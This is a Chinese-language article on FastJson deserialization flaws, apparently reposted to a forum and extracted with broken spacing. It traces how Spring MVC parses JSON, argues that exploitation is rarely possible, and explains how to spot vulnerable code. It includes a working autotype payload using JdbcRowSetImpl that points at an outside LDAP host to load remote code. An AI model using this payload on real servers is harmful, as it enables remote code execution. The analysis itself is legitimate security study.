搜索

[16253] 2020-12-26_那些FastJson漏洞不为人知的事情（开发角度）

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2020-12-26_那些FastJson漏洞不为人知的事情（开发角度） 那 些 F a s t J s o n 漏 洞 不 为 人 知 的 事 情 （ 开 发 角 度 ） 雁 不 过 衡 阳   F r e e B u f   2 0 2 0 - 1 2 - 2 6 前 言 前 言 在 F a s t J s o n < = 1 . 2 . 2 4 漏 洞 公 布 时 我 还 是 一 个 开 发 ， 对 于 这 个 消 息 我 震 撼 至 极 ， 那 时 的 F a s t J s o n 的 热 度 可 谓 如 日 中 天 。 但 是 ， 对 F a s t J s o n 漏 洞 复 现 过 后 突 然 心 就 被 伤 了 ， 那 些 把 F a s t J s o n 漏 洞 吹 的 捧 上 神 坛 的 人 是 否 真 的 知 道 他 的 影 响 程 度 ？ 概 述 概 述 本 文 将 从 漏 洞 运 用 所 依 赖 的 条 件 漏 洞 运 用 所 依 赖 的 条 件 ， 怎 么 样 发 现 此 漏 洞 怎 么 样 发 现 此 漏 洞 ， 漏 洞 产 生 的 原 理 跟 踪 漏 洞 产 生 的 原 理 跟 踪 ， 以 及 评 价 这 个 漏 洞 评 价 这 个 漏 洞 四 个 维 度 去 分 析 。 漏 洞 运 用 所 依 赖 的 条 件 漏 洞 运 用 所 依 赖 的 条 件 之 所 以 先 将 这 个 模 块 是 为 了 先 泼 大 家 一 盆 冷 水 ， 先 降 低 大 家 人 对 F a s t J s o n 漏 洞 的 影 响 程 度 的 认 知 。 众 所 周 知 1 . F a s t J s o n < = 1 . 2 . 4 7 是 利 用 的 先 决 条 件 2 . 其 二 是 但 是 ， 满 足 第 二 个 条 件 的 难 度 你 真 的 知 道 嘛 ？ 我 们 编 辑 的 P O C 在 前 端 与 后 端 进 行 交 互 的 包 中 ， 意 味 着 在 后 端 拿 到 请 求 参 数 时 进 行 J S O N . p a r s e O b j e c t ( 参 数 ) 进 行 参 数 的 j s o n 转 换 。 下 面 上 代 码 只 有 满 足 这 样 的 条 件 ， 也 就 是 在 后 端 拿 到 用 户 请 求 的 参 数 时 ， 将 其 使 用 F a s t J s o n 提 供 的 J S O N . p a r s e O b j e c t ( 参 数 ) 这 个 A P I 进 行 j s o n 格 式 化 的 时 候 才 会 产 生 我 们 所 说 的 反 序 列 化 漏 洞 。 那 么 达 成 这 个 漏 洞 到 底 难 不 难 ？ 真 的 很 难 ， 甚 至 是 不 可 能 。 因 为 现 在 J a v a 开 发 的 框 架 是 S S M ( S p r i n g + S p r i n g M v c + M y b a t i s ) ， 这 一 点 不 清 楚 的 可 以 看 我 之 前 的 文 章 了 解 。 那 么 在 访 问 层 我 们 使 用 到 的 就 是 S p r i n g M v c 这 个 框 架 。 做 过 开 发 的 朋 友 都 知 道 ， S p r i n g M V C 提 供 了 一 个 专 门 用 于 参 数 进 行 j s o n 格 J S O N . p a r s e O b j e c t ( t e x t 2 ) ;
式 化 的 注 解 叫 做 这 个 参 数 就 是 为 了 请 求 参 数 到 达 访 问 层 时 框 架 将 其 进 行 j s o n 格 式 化 所 以 实 际 的 情 况 是 这 样 的 相 信 很 多 朋 友 还 会 问 ， 真 的 没 有 人 采 用 第 一 种 写 法 去 写 嘛 ？ 设 问 ， 采 用 框 架 的 目 的 就 在 于 方 便 快 捷 的 开 发 ， 引 入 框 架 但 是 舍 本 逐 末 是 为 什 么 呢 ， 如 果 开 发 中 采 用 第 一 种 写 法 肯 定 会 被 项 目 经 理 骂 的 ， 这 一 点 无 可 厚 非 。 我 说 一 个 数 据 ， 市 面 上 百 分 之 9 5 以 上 的 J a v a 程 序 员 都 不 会 第 一 种 方 式 进 行 编 写 。 接 下 来 我 的 想 法 是 @ R e q u e s t B o d y 这 个 注 解 到 底 是 怎 么 进 行 j s o n 格 式 化 的 @ R e q u e s t B o d y
我 追 溯 了 整 套 它 的 解 析 流 程 ， 下 面 我 只 放 上 最 核 心 的 代 码 用 ( 包 括 、 等 ) 注 释 修 饰 的 接 口 请 求 会 用 该 类 处 理 。 R e q u e s t M a p p i n g H a n d l e r A d a p t e r 实 现 了 A b s t r a c t H a n d l e r M e t h o d A d a p t e r , 所 以 实 际 上 调 用 的 是 A b s t r a c t H a n d l e r M e t h o d A d a p t e r 类 的 h a n d l e ( ) 方 法 ： @ R e q u e s t M a p p i n g @ G e t M a p p i n g @ P o s t M a p p i n g m v   =   h a . h a n d l e ( p r o c e s s e d R e q u e s t ,   r e s p o n s e ,   m a p p e d H a n d l e r . g e t H a n d l e r ( ) ) ; @ O v e r r i d e         @ N u l l a b l e         p u b l i c   f i n a l   M o d e l A n d V i e w   h a n d l e ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e ,   O b j e c t   h a n d l e r )                         t h r o w s   E x c e p t i o n   {                 r e t u r n   h a n d l e I n t e r n a l ( r e q u e s t ,   r e s p o n s e ,   ( H a n d l e r M e t h o d )   h a n d l e r ) ;         }
这 里 又 调 用 了 h a n d l e I n t e r n a l ( ) 方 法 ， R e q u e s t M a p p i n g H a n d l e r A d a p t e r 重 写 了 该 方 法 : 进 入 该 方 法 ， 可 以 看 到 最 终 调 用 的 都 是 i n v o k e H a n d l e r M e t h o d ( ) 方 法 , 此 方 法 会 处 理 @ R e q u e s t M a p p i n g 修 饰 的 请 求 进 入 该 方 法 的 ， 来 到 S e r v l e t I n v o c a b l e H a n d l e r M e t h o d , 此 类 继 承 了 I n v o c a b l e H a n d l e r M e t h o d ， 可 以 处 理 请 求 的 返 回 值 。 i n v o k e A n d H a n d l e ( ) 方 法 : i f   ( t h i s . s y n c h r o n i z e O n S e s s i o n )   {                         H t t p S e s s i o n   s e s s i o n   =   r e q u e s t . g e t S e s s i o n ( f a l s e ) ;                         i f   ( s e s s i o n   ! =   n u l l )   {                                 O b j e c t   m u t e x   =   W e b U t i l s . g e t S e s s i o n M u t e x ( s e s s i o n ) ;                                 s y n c h r o n i z e d   ( m u t e x )   {                                         m a v   =   i n v o k e H a n d l e r M e t h o d ( r e q u e s t ,   r e s p o n s e ,   h a n d l e r M e t h o d ) ;                                 }                         }                         e l s e   {                                 / /   N o   H t t p S e s s i o n   a v a i l a b l e   - >   n o   m u t e x   n e c e s s a r y                                 m a v   =   i n v o k e H a n d l e r M e t h o d ( r e q u e s t ,   r e s p o n s e ,   h a n d l e r M e t h o d ) ;                         }                 }                 e l s e   {                         / /   N o   s y n c h r o n i z a t i o n   o n   s e s s i o n   d e m a n d e d   a t   a l l . . .                         m a v   =   i n v o k e H a n d l e r M e t h o d ( r e q u e s t ,   r e s p o n s e ,   h a n d l e r M e t h o d ) ;                 } p r o t e c t e d   M o d e l A n d V i e w   i n v o k e H a n d l e r M e t h o d ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,                         H t t p S e r v l e t R e s p o n s e   r e s p o n s e ,   H a n d l e r M e t h o d   h a n d l e r M e t h o d )   t h r o w s   E x c e p t i o n   {                 S e r v l e t W e b R e q u e s t   w e b R e q u e s t   =   n e w   S e r v l e t W e b R e q u e s t ( r e q u e s t ,   r e s p o n s e ) ;                 t r y   {                         W e b D a t a B i n d e r F a c t o r y   b i n d e r F a c t o r y   =   g e t D a t a B i n d e r F a c t o r y ( h a n d l e r M e t h o d ) ;                         M o d e l F a c t o r y   m o d e l F a c t o r y   =   g e t M o d e l F a c t o r y ( h a n d l e r M e t h o d ,   b i n d e r F a c t o r y ) ;                         S e r v l e t I n v o c a b l e H a n d l e r M e t h o d   i n v o c a b l e M e t h o d   =   c r e a t e I n v o c a b l e H a n d l e r M e t h o d ( h a n d l e r M e t h o d ) ;                         / / 注 意 , 此 处 往 S e r v l e t I n v o c a b l e H a n d l e r M e t h o d 中 设 置 了 一 系 列 的 参 数 解 析 器                         i f   ( t h i s . a r g u m e n t R e s o l v e r s   ! =   n u l l )   {                                 i n v o c a b l e M e t h o d . s e t H a n d l e r M e t h o d A r g u m e n t R e s o l v e r s ( t h i s . a r g u m e n t R e s o l v e r s ) ;                         }                         i f   ( t h i s . r e t u r n V a l u e H a n d l e r s   ! =   n u l l )   {                                 i n v o c a b l e M e t h o d . s e t H a n d l e r M e t h o d R e t u r n V a l u e H a n d l e r s ( t h i s . r e t u r n V a l u e H a n d l e r s ) ;                         }                         i n v o c a b l e M e t h o d . s e t D a t a B i n d e r F a c t o r y ( b i n d e r F a c t o r y ) ;                         i n v o c a b l e M e t h o d . s e t P a r a m e t e r N a m e D i s c o v e r e r ( t h i s . p a r a m e t e r N a m e D i s c o v e r e r ) ;                         M o d e l A n d V i e w C o n t a i n e r   m a v C o n t a i n e r   =   n e w   M o d e l A n d V i e w C o n t a i n e r ( ) ;                         m a v C o n t a i n e r . a d d A l l A t t r i b u t e s ( R e q u e s t C o n t e x t U t i l s . g e t I n p u t F l a s h M a p ( r e q u e s t ) ) ;                         m o d e l F a c t o r y . i n i t M o d e l ( w e b R e q u e s t ,   m a v C o n t a i n e r ,   i n v o c a b l e M e t h o d ) ;                         m a v C o n t a i n e r . s e t I g n o r e D e f a u l t M o d e l O n R e d i r e c t ( t h i s . i g n o r e D e f a u l t M o d e l O n R e d i r e c t ) ;                         A s y n c W e b R e q u e s t   a s y n c W e b R e q u e s t   =   W e b A s y n c U t i l s . c r e a t e A s y n c W e b R e q u e s t ( r e q u e s t ,   r e s p o n s e ) ;                         a s y n c W e b R e q u e s t . s e t T i m e o u t ( t h i s . a s y n c R e q u e s t T i m e o u t ) ;                         W e b A s y n c M a n a g e r   a s y n c M a n a g e r   =   W e b A s y n c U t i l s . g e t A s y n c M a n a g e r ( r e q u e s t ) ;                         a s y n c M a n a g e r . s e t T a s k E x e c u t o r ( t h i s . t a s k E x e c u t o r ) ;                         a s y n c M a n a g e r . s e t A s y n c W e b R e q u e s t ( a s y n c W e b R e q u e s t ) ;                         a s y n c M a n a g e r . r e g i s t e r C a l l a b l e I n t e r c e p t o r s ( t h i s . c a l l a b l e I n t e r c e p t o r s ) ;                         a s y n c M a n a g e r . r e g i s t e r D e f e r r e d R e s u l t I n t e r c e p t o r s ( t h i s . d e f e r r e d R e s u l t I n t e r c e p t o r s ) ;                         i f   ( a s y n c M a n a g e r . h a s C o n c u r r e n t R e s u l t ( ) )   {                                 O b j e c t   r e s u l t   =   a s y n c M a n a g e r . g e t C o n c u r r e n t R e s u l t ( ) ;                                 m a v C o n t a i n e r   =   ( M o d e l A n d V i e w C o n t a i n e r )   a s y n c M a n a g e r . g e t C o n c u r r e n t R e s u l t C o n t e x t ( ) [ 0 ] ;                                 a s y n c M a n a g e r . c l e a r C o n c u r r e n t R e s u l t ( ) ;                                 i f   ( l o g g e r . i s D e b u g E n a b l e d ( ) )   {                                         l o g g e r . d e b u g ( " F o u n d   c o n c u r r e n t   r e s u l t   v a l u e   [ "   +   r e s u l t   +   " ] " ) ;                                 }                                 i n v o c a b l e M e t h o d   =   i n v o c a b l e M e t h o d . w r a p C o n c u r r e n t R e s u l t ( r e s u l t ) ;                         }                         / / 具 体 请 求 处 理 方 法                         i n v o c a b l e M e t h o d . i n v o k e A n d H a n d l e ( w e b R e q u e s t ,   m a v C o n t a i n e r ) ;                         i f   ( a s y n c M a n a g e r . i s C o n c u r r e n t H a n d l i n g S t a r t e d ( ) )   {                                 r e t u r n   n u l l ;                         }                         r e t u r n   g e t M o d e l A n d V i e w ( m a v C o n t a i n e r ,   m o d e l F a c t o r y ,   w e b R e q u e s t ) ;                 }                 f i n a l l y   {                         w e b R e q u e s t . r e q u e s t C o m p l e t e d ( ) ;                 }         } i n v o c a b l e M e t h o d . i n v o k e A n d H a n d l e ( w e b R e q u e s t ,   m a v C o n t a i n e r ) ;
H t t p M e s s a g e C o n v e r t e r 是 在 R e q u e s t M a p p i n g H a n d l e r A d a p t e r 中 设 置 解 析 器 的 时 候 添 加 到 每 个 解 析 器 中 的 。 而 j s o n 格 式 的 数 据 使 用 A b s t r a c t J a c k s o n 2 H t t p M e s s a g e C o n v e r t e r 进 行 解 析 ， 内 部 使 用 j a c k s o n 进 行 j s o n 数 据 的 解 析 。 小 结 ： 分 析 到 这 里 的 一 瞬 间 我 惊 了 ， 这 个 注 解 既 然 底 层 实 际 使 用 的 是 小 结 ： 分 析 到 这 里 的 一 瞬 间 我 惊 了 ， 这 个 注 解 既 然 底 层 实 际 使 用 的 是 j s c k s o n 这 个 方 式 ， 意 味 着 如 果 这 个 方 式 ， 意 味 着 如 果 j a c k s o n 爆 出 漏 洞 爆 出 漏 洞 p u b l i c   v o i d   i n v o k e A n d H a n d l e ( S e r v l e t W e b R e q u e s t   w e b R e q u e s t ,   M o d e l A n d V i e w C o n t a i n e r   m a v C o n t a i n e r ,                         O b j e c t . . .   p r o v i d e d A r g s )   t h r o w s   E x c e p t i o n   {                 O b j e c t   r e t u r n V a l u e   =   i n v o k e F o r R e q u e s t ( w e b R e q u e s t ,   m a v C o n t a i n e r ,   p r o v i d e d A r g s ) ;                 s e t R e s p o n s e S t a t u s ( w e b R e q u e s t ) ;                 i f   ( r e t u r n V a l u e   = =   n u l l )   {                         i f   ( i s R e q u e s t N o t M o d i f i e d ( w e b R e q u e s t )   | |   g e t R e s p o n s e S t a t u s ( )   ! =   n u l l   | |   m a v C o n t a i n e r . i s R e q u e s t H a n d l e d ( ) )   {                                 m a v C o n t a i n e r . s e t R e q u e s t H a n d l e d ( t r u e ) ;                                 r e t u r n ;                         }                 }                 e l s e   i f   ( S t r i n g U t i l s . h a s T e x t ( g e t R e s p o n s e S t a t u s R e a s o n ( ) ) )   {                         m a v C o n t a i n e r . s e t R e q u e s t H a n d l e d ( t r u e ) ;                         r e t u r n ;                 }                 m a v C o n t a i n e r . s e t R e q u e s t H a n d l e d ( f a l s e ) ;                 A s s e r t . s t a t e ( t h i s . r e t u r n V a l u e H a n d l e r s   ! =   n u l l ,   " N o   r e t u r n   v a l u e   h a n d l e r s " ) ;                 t r y   {                         t h i s . r e t u r n V a l u e H a n d l e r s . h a n d l e R e t u r n V a l u e (                                         r e t u r n V a l u e ,   g e t R e t u r n V a l u e T y p e ( r e t u r n V a l u e ) ,   m a v C o n t a i n e r ,   w e b R e q u e s t ) ;                 }                 c a t c h   ( E x c e p t i o n   e x )   {                         i f   ( l o g g e r . i s T r a c e E n a b l e d ( ) )   {                                 l o g g e r . t r a c e ( g e t R e t u r n V a l u e H a n d l i n g E r r o r M e s s a g e ( " E r r o r   h a n d l i n g   r e t u r n   v a l u e " ,   r e t u r n V a l u e ) ,   e x ) ;                         }                         t h r o w   e x ;                 }         }
或 将 影 响 百 分 之 或 将 影 响 百 分 之 9 0 多 的 多 的 J a v a 站 点 站 点 怎 么 样 发 现 此 漏 洞 怎 么 样 发 现 此 漏 洞 从 上 文 中 我 们 得 到 的 消 息 ， 再 结 合 我 之 前 的 文 章 ， 其 实 发 现 这 个 漏 洞 很 简 单 。 1 . 当 我 们 拿 到 一 个 J a v a 源 码 时 ， 首 先 查 阅 M a v e n 对 方 是 否 引 用 F a s t j s o n 包 并 且 依 赖 的 版 本 。 2 . 在 访 问 层 ， 也 就 是 我 之 前 所 说 的 c o n t r o l l e r 层 直 接 祭 上 我 们 的 i d e a 搜 索 大 法 确 定 包 名 为 C o n t r o l l e r 并 且 其 中 存 在 J S O N . p a r s e O b j e c t ( ) 方 法 的 地 方 。 然 后 找 到 网 上 复 现 f a s t j s o n 漏 洞 的 方 法 ， d n s l o g 验 证 存 在 。
小 结 ： 小 结 ： m a v e n 确 定 版 本 确 定 版 本 < = 1 . 2 . 4 7 + C o n t r o l l e r 包 下 包 下   使 用 快 捷 键 使 用 快 捷 键 C t r l + S h i f t + R   搜 索 搜 索 J S O N . p a r s e O b j e c t 关 键 字 快 速 发 现 关 键 字 快 速 发 现 漏 洞 原 理 跟 踪 漏 洞 原 理 跟 踪 网 上 的 大 佬 们 总 结 分 析 了 很 多 原 理 的 问 题 ， 这 篇 文 章 其 实 主 要 是 讲 产 生 场 景 的 问 题 ， 但 是 作 为 一 个 分 析 F a s t J s o n 的 文 章   我 觉 得 这 一 环 必 不 可 少 ， 我 就 挑 重 点 去 讲 讲 吧 。 因 为 F a s t j s o n 提 供 了 a u t o t y p e 这 个 东 西 ， 在 进 行 j s o n 解 析 时 会 自 动 根 据 要 解 析 的 类 名 解 析 成 要 解 析 的 实 际 对 象 ， 我 们 使 用 d n s l o g 验 证 这 个 漏 洞 存 在 ， 仔 细 查 看 p o c 会 发 现 t y p e 类 型 指 定 为 这 个 类 就 是 j a v a 用 来 提 供 i c m p 服 务 类 ， 也 就 是 p i n g 类 然 后 值 为 相 应 的 要 被 p i n g 的 地 址 如 果 目 标 地 址 被 p i n g 说 明 服 务 解 析 成 功 那 造 成 远 程 代 码 执 行 的 原 因 也 同 理 j a v a . n e t . I n e t 4 A d d r e s s r e d b t z . d n s l o g . c n {     " n a m e " :   {         " @ t y p e " :   " j a v a . l a n g . C l a s s " ,         " v a l " :   " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l "     } ,     " x " :   {         " @ t y p e " :   " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,         " d a t a S o u r c e N a m e " :   " l d a p : / / 1 9 2 . 1 6 8 . 2 1 4 . 1 3 7 : 9 9 9 9 / E x p l o i t " ,         " a u t o C o m m i t " :   t r u e     } }
将 服 务 解 析 成 远 程 调 用 ， 从 而 造 成 了 远 程 代 码 执 行 。 这 部 分 我 会 在 后 续 文 章 详 细 讲 解 j a v a 中 的 远 程 命 令 执 行 ， 也 就 是 r m i 小 结 小 结 :   因 为 因 为 a u t o t y p e 的 事 情 造 成 了 漏 洞 形 成 的 原 因 ， 所 以 在 后 续 多 次 爆 出 的 事 情 造 成 了 漏 洞 形 成 的 原 因 ， 所 以 在 后 续 多 次 爆 出 f a s t j s o n 高 版 本 还 能 进 行 远 程 命 令 执 行 的 多 半 高 版 本 还 能 进 行 远 程 命 令 执 行 的 多 半 实 在 实 在 a u t o t y p e 上 下 手 ， 比 如 默 认 关 闭 了 上 下 手 ， 比 如 默 认 关 闭 了 a u t o t y p e ， 比 如 做 了 黑 名 单 校 验 ， 比 如 后 续 的 重 点 变 为 如 何 绕 过 黑 名 单 。 ， 比 如 做 了 黑 名 单 校 验 ， 比 如 后 续 的 重 点 变 为 如 何 绕 过 黑 名 单 。 评 价 这 个 漏 洞 评 价 这 个 漏 洞 回 归 文 章 开 头 说 的 ， 这 个 漏 洞 被 炒 得 如 日 中 天 ， 却 很 少 有 人 能 用 这 个 漏 洞 造 成 r c e ， 根 本 原 因 还 是 这 个 漏 洞 的 利 用 条 件 与 实 际 应 用 场 景 不 符 。 这 个 漏 洞 的 闹 剧 应 该 在 我 这 篇 文 章 给 大 家 一 个 结 果 ， 与 其 说 是 f a s t j s o n 的 漏 洞 不 如 说 是 J S O N . p a r s e O b j e c t ( ) 与 @ R e q u e s t B o d y 两 个 方 法 之 间 我 们 到 底 用 了 谁 ， 答 案 很 显 而 易 见 ， 当 然 是 后 者 ， 我 们 引 用 框 架 的 目 的 就 是 为 了 快 捷 开 发 ， 这 点 S p i n g M V C 做 的 比 f a s t j s o n 好 ， 开 发 者 也 不 会 舍 本 逐 末 。 完 结 ： 完 结 ： 在 前 面 多 个 文 章 发 出 来 也 是 我 从 开 发 转 安 全 找 工 作 的 一 个 阶 段 ， 后 续 停 更 了 很 长 时 间 ， 也 是 因 为 我 的 私 人 原 因 我 深 表 歉 意 。 感 谢 很 多 读 者 给 我 介 绍 了 很 多 工 作 ， 我 目 前 就 职 地 就 不 说 了 ， 怕 官 方 觉 得 我 营 销 号 不 给 我 发 奖 金 。 在 接 下 来 的 时 间 内 我 会 一 直 持 续 更 新 ， 也 希 望 读 者 关 注 我 ， 关 注 我 的 专 辑 。
谢 谢 大 家 ， 下 期 见 ~ 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理